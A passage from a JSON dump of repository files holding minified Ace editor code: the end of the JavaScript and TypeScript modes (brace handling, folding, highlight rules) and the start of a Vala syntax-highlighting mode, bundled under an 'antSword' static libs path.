e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/typescript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=function(){var e=[{token:[\"keyword.operator.ts\",\"text\",\"variable.parameter.function.ts\",\"text\"],regex:\"\\\\b(module)(\\\\s*)([a-zA-Z0-9_?.$][\\\\w?.$]*)(\\\\s*\\\\{)\"},{token:[\"storage.type.variable.ts\",\"text\",\"keyword.other.ts\",\"text\"],regex:\"(super)(\\\\s*\\\\()([a-zA-Z0-9,_?.$\\\\s]+\\\\s*)(\\\\))\"},{token:[\"entity.name.function.ts\",\"paren.lparen\",\"paren.rparen\"],regex:\"([a-zA-Z_?.$][\\\\w?.$]*)(\\\\()(\\\\))\"},{token:[\"variable.parameter.function.ts\",\"text\",\"variable.parameter.function.ts\"],regex:\"([a-zA-Z0-9_?.$][\\\\w?.$]*)(\\\\s*:\\\\s*)([a-zA-Z0-9_?.$][\\\\w?.$]*)\"},{token:[\"keyword.operator.ts\"],regex:\"(?:\\\\b(constructor|declare|interface|as|AS|public|private|class|extends|export|super)\\\\b)\"},{token:[\"storage.type.variable.ts\"],regex:\"(?:\\\\b(this\\\\.|string\\\\b|bool\\\\b|number)\\\\b)\"},{token:[\"keyword.operator.ts\",\"storage.type.variable.ts\",\"keyword.operator.ts\",\"storage.type.variable.ts\"],regex:\"(class)(\\\\s+[a-zA-Z0-9_?.$][\\\\w?.$]*\\\\s+)(extends)(\\\\s+[a-zA-Z0-9_?.$][\\\\w?.$]*\\\\s+)?\"},{token:\"keyword\",regex:\"(?:super|export|class|extends|import)\\\\b\"}],t=(new i).getRules();t.start=e.concat(t.start),this.$rules=t};r.inherits(s,i),t.TypeScriptHighlightRules=s}),ace.define(\"ace/mode/typescript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/typescript_highlight_rules\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./typescript_highlight_rules\").TypeScriptHighlightRules,o=e(\"./behaviour/cstyle\").CstyleBehaviour,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./matching_brace_outdent\").MatchingBraceOutdent,f=function(){this.HighlightRules=s,this.$outdent=new a,this.$behaviour=new o,this.foldingRules=new u};r.inherits(f,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/typescript\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-vala.js",
    "content": "ace.define(\"ace/mode/vala_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.using.vala\",\"keyword.other.using.vala\",\"meta.using.vala\",\"storage.modifier.using.vala\",\"meta.using.vala\",\"punctuation.terminator.vala\"],regex:\"^(\\\\s*)(using)\\\\b(?:(\\\\s*)([^ ;$]+)(\\\\s*)((?:;)?))?\"},{include:\"#code\"}],\"#all-types\":[{include:\"#primitive-arrays\"},{include:\"#primitive-types\"},{include:\"#object-types\"}],\"#annotations\":[{token:[\"storage.type.annotation.vala\",\"punctuation.definition.annotation-arguments.begin.vala\"],regex:\"(@[^ (]+)(\\\\()\",push:[{token:\"punctuation.definition.annotation-arguments.end.vala\",regex:\"\\\\)\",next:\"pop\"},{token:[\"constant.other.key.vala\",\"text\",\"keyword.operator.assignment.vala\"],regex:\"(\\\\w*)(\\\\s*)(=)\"},{include:\"#code\"},{token:\"punctuation.seperator.property.vala\",regex:\",\"},{defaultToken:\"meta.declaration.annotation.vala\"}]},{token:\"storage.type.annotation.vala\",regex:\"@\\\\w*\"}],\"#anonymous-classes-and-new\":[{token:\"keyword.control.new.vala\",regex:\"\\\\bnew\\\\b\",push_disabled:[{token:\"text\",regex:\"(?<=\\\\)|\\\\])(?!\\\\s*{)|(?<=})|(?=;)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\)|\\\\])(?!\\\\s*{)|(?<=})|(?=;)\",next:\"pop\"},{token:[\"storage.type.vala\",\"text\"],regex:\"(\\\\w+)(\\\\s*)(?=\\\\[)\",push:[{token:\"text\",regex:\"}|(?=;|\\\\))\",next:\"pop\"},{token:\"text\",regex:\"\\\\[\",push:[{token:\"text\",regex:\"\\\\]\",next:\"pop\"},{include:\"#code\"}]},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"(?=})\",next:\"pop\"},{include:\"#code\"}]}]},{token:\"text\",regex:\"(?=\\\\w.*\\\\()\",push:[{token:\"text\",regex:\"(?<=\\\\))\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\))\",next:\"pop\"},{include:\"#object-types\"},{token:\"text\",regex:\"\\\\(\",push:[{token:\"text\",regex:\"\\\\)\",next:\"pop\"},{include:\"#code\"}]}]},{token:\"meta.inner-class.vala\",regex:\"{\",push:[{token:\"meta.inner-class.vala\",regex:\"}\",next:\"pop\"},{include:\"#class-body\"},{defaultToken:\"meta.inner-class.vala\"}]}]}],\"#assertions\":[{token:[\"keyword.control.assert.vala\",\"meta.declaration.assertion.vala\"],regex:\"\\\\b(assert|requires|ensures)(\\\\s)\",push:[{token:\"meta.declaration.assertion.vala\",regex:\"$\",next:\"pop\"},{token:\"keyword.operator.assert.expression-seperator.vala\",regex:\":\"},{include:\"#code\"},{defaultToken:\"meta.declaration.assertion.vala\"}]}],\"#class\":[{token:\"meta.class.vala\",regex:\"(?=\\\\w?[\\\\w\\\\s]*(?:class|(?:@)?interface|enum|struct|namespace)\\\\s+\\\\w+)\",push:[{token:\"paren.vala\",regex:\"}\",next:\"pop\"},{include:\"#storage-modifiers\"},{include:\"#comments\"},{token:[\"storage.modifier.vala\",\"meta.class.identifier.vala\",\"entity.name.type.class.vala\"],regex:\"(class|(?:@)?interface|enum|struct|namespace)(\\\\s+)([\\\\w\\\\.]+)\"},{token:\"storage.modifier.extends.vala\",regex:\":\",push:[{token:\"meta.definition.class.inherited.classes.vala\",regex:\"(?={|,)\",next:\"pop\"},{include:\"#object-types-inherited\"},{include:\"#comments\"},{defaultToken:\"meta.definition.class.inherited.classes.vala\"}]},{token:[\"storage.modifier.implements.vala\",\"meta.definition.class.implemented.interfaces.vala\"],regex:\"(,)(\\\\s)\",push:[{token:\"meta.definition.class.implemented.interfaces.vala\",regex:\"(?=\\\\{)\",next:\"pop\"},{include:\"#object-types-inherited\"},{include:\"#comments\"},{defaultToken:\"meta.definition.class.implemented.interfaces.vala\"}]},{token:\"paren.vala\",regex:\"{\",push:[{token:\"paren.vala\",regex:\"(?=})\",next:\"pop\"},{include:\"#class-body\"},{defaultToken:\"meta.class.body.vala\"}]},{defaultToken:\"meta.class.vala\"}],comment:\"attempting to put namespace in here.\"}],\"#class-body\":[{include:\"#comments\"},{include:\"#class\"},{include:\"#enums\"},{include:\"#methods\"},{include:\"#annotations\"},{include:\"#storage-modifiers\"},{include:\"#code\"}],\"#code\":[{include:\"#comments\"},{include:\"#class\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#code\"}]},{include:\"#assertions\"},{include:\"#parens\"},{include:\"#constants-and-special-vars\"},{include:\"#anonymous-classes-and-new\"},{include:\"#keywords\"},{include:\"#storage-modifiers\"},{include:\"#strings\"},{include:\"#all-types\"}],\"#comments\":[{token:\"punctuation.definition.comment.vala\",regex:\"/\\\\*\\\\*/\"},{include:\"text.html.javadoc\"},{include:\"#comments-inline\"}],\"#comments-inline\":[{token:\"punctuation.definition.comment.vala\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.vala\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.vala\"}]},{token:[\"text\",\"punctuation.definition.comment.vala\",\"comment.line.double-slash.vala\"],regex:\"(\\\\s*)(//)(.*$)\"}],\"#constants-and-special-vars\":[{token:\"constant.language.vala\",regex:\"\\\\b(?:true|false|null)\\\\b\"},{token:\"variable.language.vala\",regex:\"\\\\b(?:this|base)\\\\b\"},{token:\"constant.numeric.vala\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:[LlFfUuDd]|UL|ul)?\\\\b\"},{token:[\"keyword.operator.dereference.vala\",\"constant.other.vala\"],regex:\"((?:\\\\.)?)\\\\b([A-Z][A-Z0-9_]+)(?!<|\\\\.class|\\\\s*\\\\w+\\\\s*=)\\\\b\"}],\"#enums\":[{token:\"text\",regex:\"^(?=\\\\s*[A-Z0-9_]+\\\\s*(?:{|\\\\(|,))\",push:[{token:\"text\",regex:\"(?=;|})\",next:\"pop\"},{token:\"constant.other.enum.vala\",regex:\"\\\\w+\",push:[{token:\"meta.enum.vala\",regex:\"(?=,|;|})\",next:\"pop\"},{include:\"#parens\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#class-body\"}]},{defaultToken:\"meta.enum.vala\"}]}]}],\"#keywords\":[{token:\"keyword.control.catch-exception.vala\",regex:\"\\\\b(?:try|catch|finally|throw)\\\\b\"},{token:\"keyword.control.vala\",regex:\"\\\\?|:|\\\\?\\\\?\"},{token:\"keyword.control.vala\",regex:\"\\\\b(?:return|break|case|continue|default|do|while|for|foreach|switch|if|else|in|yield|get|set|value)\\\\b\"},{token:\"keyword.operator.vala\",regex:\"\\\\b(?:typeof|is|as)\\\\b\"},{token:\"keyword.operator.comparison.vala\",regex:\"==|!=|<=|>=|<>|<|>\"},{token:\"keyword.operator.assignment.vala\",regex:\"=\"},{token:\"keyword.operator.increment-decrement.vala\",regex:\"\\\\-\\\\-|\\\\+\\\\+\"},{token:\"keyword.operator.arithmetic.vala\",regex:\"\\\\-|\\\\+|\\\\*|\\\\/|%\"},{token:\"keyword.operator.logical.vala\",regex:\"!|&&|\\\\|\\\\|\"},{token:\"keyword.operator.dereference.vala\",regex:\"\\\\.(?=\\\\S)\",originalRegex:\"(?<=\\\\S)\\\\.(?=\\\\S)\"},{token:\"punctuation.terminator.vala\",regex:\";\"},{token:\"keyword.operator.ownership\",regex:\"owned|unowned\"}],\"#methods\":[{token:\"meta.method.vala\",regex:\"(?!new)(?=\\\\w.*\\\\s+)(?=[^=]+\\\\()\",push:[{token:\"paren.vala\",regex:\"}|(?=;)\",next:\"pop\"},{include:\"#storage-modifiers\"},{token:[\"entity.name.function.vala\",\"meta.method.identifier.vala\"],regex:\"([\\\\~\\\\w\\\\.]+)(\\\\s*\\\\()\",push:[{token:\"meta.method.identifier.vala\",regex:\"\\\\)\",next:\"pop\"},{include:\"#parameters\"},{defaultToken:\"meta.method.identifier.vala\"}]},{token:\"meta.method.return-type.vala\",regex:\"(?=\\\\w.*\\\\s+\\\\w+\\\\s*\\\\()\",push:[{token:\"meta.method.return-type.vala\",regex:\"(?=\\\\w+\\\\s*\\\\()\",next:\"pop\"},{include:\"#all-types\"},{defaultToken:\"meta.method.return-type.vala\"}]},{include:\"#throws\"},{token:\"paren.vala\",regex:\"{\",push:[{token:\"paren.vala\",regex:\"(?=})\",next:\"pop\"},{include:\"#code\"},{defaultToken:\"meta.method.body.vala\"}]},{defaultToken:\"meta.method.vala\"}]}],\"#namespace\":[{token:\"text\",regex:\"^(?=\\\\s*[A-Z0-9_]+\\\\s*(?:{|\\\\(|,))\",push:[{token:\"text\",regex:\"(?=;|})\",next:\"pop\"},{token:\"constant.other.namespace.vala\",regex:\"\\\\w+\",push:[{token:\"meta.namespace.vala\",regex:\"(?=,|;|})\",next:\"pop\"},{include:\"#parens\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#code\"}]},{defaultToken:\"meta.namespace.vala\"}]}],comment:\"This is not quite right. See the class grammar right now\"}],\"#object-types\":[{token:\"storage.type.generic.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,\\\\?<\\\\[()\\\\]]\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\">|[^\\\\w\\\\s,\\\\?<\\\\[(?:[,]+)\\\\]]\",next:\"pop\"},{include:\"#object-types\"},{token:\"storage.type.generic.vala\",regex:\"<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,\\\\[\\\\]<]\",next:\"pop\"},{defaultToken:\"storage.type.generic.vala\"}],comment:\"This is just to support <>'s with no actual type prefix\"},{defaultToken:\"storage.type.generic.vala\"}]},{token:\"storage.type.object.array.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*(?=\\\\[)\",push:[{token:\"storage.type.object.array.vala\",regex:\"(?=[^\\\\]\\\\s])\",next:\"pop\"},{token:\"text\",regex:\"\\\\[\",push:[{token:\"text\",regex:\"\\\\]\",next:\"pop\"},{include:\"#code\"}]},{defaultToken:\"storage.type.object.array.vala\"}]},{token:[\"storage.type.vala\",\"keyword.operator.dereference.vala\",\"storage.type.vala\"],regex:\"\\\\b(?:([a-z]\\\\w*)(\\\\.))*([A-Z]+\\\\w*\\\\b)\"}],\"#object-types-inherited\":[{token:\"entity.other.inherited-class.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*<\",push:[{token:\"entity.other.inherited-class.vala\",regex:\">|[^\\\\w\\\\s,<]\",next:\"pop\"},{include:\"#object-types\"},{token:\"storage.type.generic.vala\",regex:\"<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,<]\",next:\"pop\"},{defaultToken:\"storage.type.generic.vala\"}],comment:\"This is just to support <>'s with no actual type prefix\"},{defaultToken:\"entity.other.inherited-class.vala\"}]},{token:[\"entity.other.inherited-class.vala\",\"keyword.operator.dereference.vala\",\"entity.other.inherited-class.vala\"],regex:\"\\\\b(?:([a-z]\\\\w*)(\\\\.))*([A-Z]+\\\\w*)\"}],\"#parameters\":[{token:\"storage.modifier.vala\",regex:\"final\"},{include:\"#primitive-arrays\"},{include:\"#primitive-types\"},{include:\"#object-types\"},{token:\"variable.parameter.vala\",regex:\"\\\\w+\"}],\"#parens\":[{token:\"text\",regex:\"\\\\(\",push:[{token:\"text\",regex:\"\\\\)\",next:\"pop\"},{include:\"#code\"}]}],\"#primitive-arrays\":[{token:\"storage.type.primitive.array.vala\",regex:\"\\\\b(?:bool|byte|sbyte|char|decimal|double|float|int|uint|long|ulong|object|short|ushort|string|void|int8|int16|int32|int64|uint8|uint16|uint32|uint64)(?:\\\\[\\\\])*\\\\b\"}],\"#primitive-types\":[{token:\"storage.type.primitive.vala\",regex:\"\\\\b(?:var|bool|byte|sbyte|char|decimal|double|float|int|uint|long|ulong|object|short|ushort|string|void|signal|int8|int16|int32|int64|uint8|uint16|uint32|uint64)\\\\b\",comment:\"var is not really a primitive, but acts like one in most cases\"}],\"#storage-modifiers\":[{token:\"storage.modifier.vala\",regex:\"\\\\b(?:public|private|protected|internal|static|final|sealed|virtual|override|abstract|readonly|volatile|dynamic|async|unsafe|out|ref|weak|owned|unowned|const)\\\\b\",comment:\"Not sure about unsafe and 